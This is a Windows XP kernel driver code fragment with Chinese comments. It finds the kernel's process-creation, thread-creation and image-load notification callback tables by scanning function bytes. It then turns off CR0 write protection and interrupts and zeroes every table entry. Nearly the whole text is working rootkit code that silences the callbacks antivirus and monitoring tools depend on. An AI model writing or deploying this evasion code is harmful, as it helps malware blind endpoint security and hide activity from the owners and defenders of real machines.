PspCreateProcessNotifyRoutine,PspCreateThreadNotifyRoutine,PspLoadImageNotifyRoutine表全部清空

RtlInitUnicodeString(&name,L"PsSetCreateProcessNotifyRoutine");

RemoveNotifyRoutine((PVOID)MmGetSystemRoutineAddress(&name));

RtlInitUnicodeString(&name,L"PsRemoveCreateThreadNotifyRoutine");

RemoveNotifyRoutine((PVOID)MmGetSystemRoutineAddress(&name));

RtlInitUnicodeString(&name,L"PsRemoveLoadImageNotifyRoutine");

RemoveNotifyRoutine((PVOID)MmGetSystemRoutineAddress(&name));

__declspec(naked) void DisableWPBitAndCli()

{

__asm

{

   cli

   mov     eax, cr0

   and     eax, 0xFFFEFFFF

   mov     cr0, eax

   retn

}

}

__declspec(naked) void EnableWPBitAndSti()

{

__asm

{

    mov eax, cr0

    or eax, 0x10000

    mov cr0, eax

    sti

    retn

}

}

NTSTATUS

MydrvDispatch (

      IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp

      )

{

Irp->IoStatus.Status = STATUS_SUCCESS;

Irp->IoStatus.Information = 0L;

IoCompleteRequest( Irp, 0 );

return Irp->IoStatus.Status;

}

/*

NTSTATUS RemoveNotifyRoutine(PVOID RemoveFunPointer)

can remove all of the Routine of CreateThread and CreateProcess and LoadImage

注意传入参数为下面三者之一

PsSetCreateProcessNotifyRoutine

PsRemoveCreateThreadNotifyRoutine

PsRemoveLoadImageNotifyRoutine

===========

by xp sp2

*/

NTSTATUS RemoveNotifyRoutine(PVOID RemoveFunPointer)

{

ULONG AddrFun;

ULONG* pRoutineList;

ULONG i;

pRoutineList = 0;

AddrFun = (ULONG)RemoveFunPointer;

DbgPrint("RemoveNotifyRoutine = %08X/n",RemoveFunPointer);

//

//the RemoveFunPointer could

//only be PsRemoveLoadImageNotifyRoutine

//or PsSetCreateProcessNotifyRoutine

//or PsRemoveCreateThreadNotifyRoutine

//find code bf 00975680      mov     edi,offset nt!PsThreadType+0x44 (80569700)

//

for(i = AddrFun;i<AddrFun + 0x20;i++)

{

   if( 0xbf == *(PBYTE)i )

   {

    i++;

    pRoutineList = (ULONG*)( *(ULONG*)i );

    break;

   }

}

if( 0 == pRoutineList)

{

   DbgPrint("Can not find the RoutineList/n");

   return STATUS_UNSUCCESSFUL;

}

if( TRUE != MmIsAddressValid((PVOID)pRoutineList) )// memory is valid

{

   DbgPrint("Access Memory is not Valid %08X/n",pRoutineList);

   return STATUS_UNSUCCESSFUL;

}

//

//Zero the PspCreateThreadNotifyRoutine;

//

DisableWPBitAndCli();

for(i=0;i<8;i++) //这里写成0x40也没有问题,我看他这个表应该长度为0x40,但网上说PspCreateProcessNotifyRoutine表长

度在win2K下为8,xp下为多少,我没有找到资料,懒得去分析代码找出他的长度

{

   //if( 0 == pRoutineList[i] )break;

   pRoutineList[i] = 0;//清空

}

EnableWPBitAndSti();

DbgPrint("RemoveNotifyRoutine STATUS_SUCCESS %08X/n",RemoveFunPointer);

return STATUS_SUCCESS;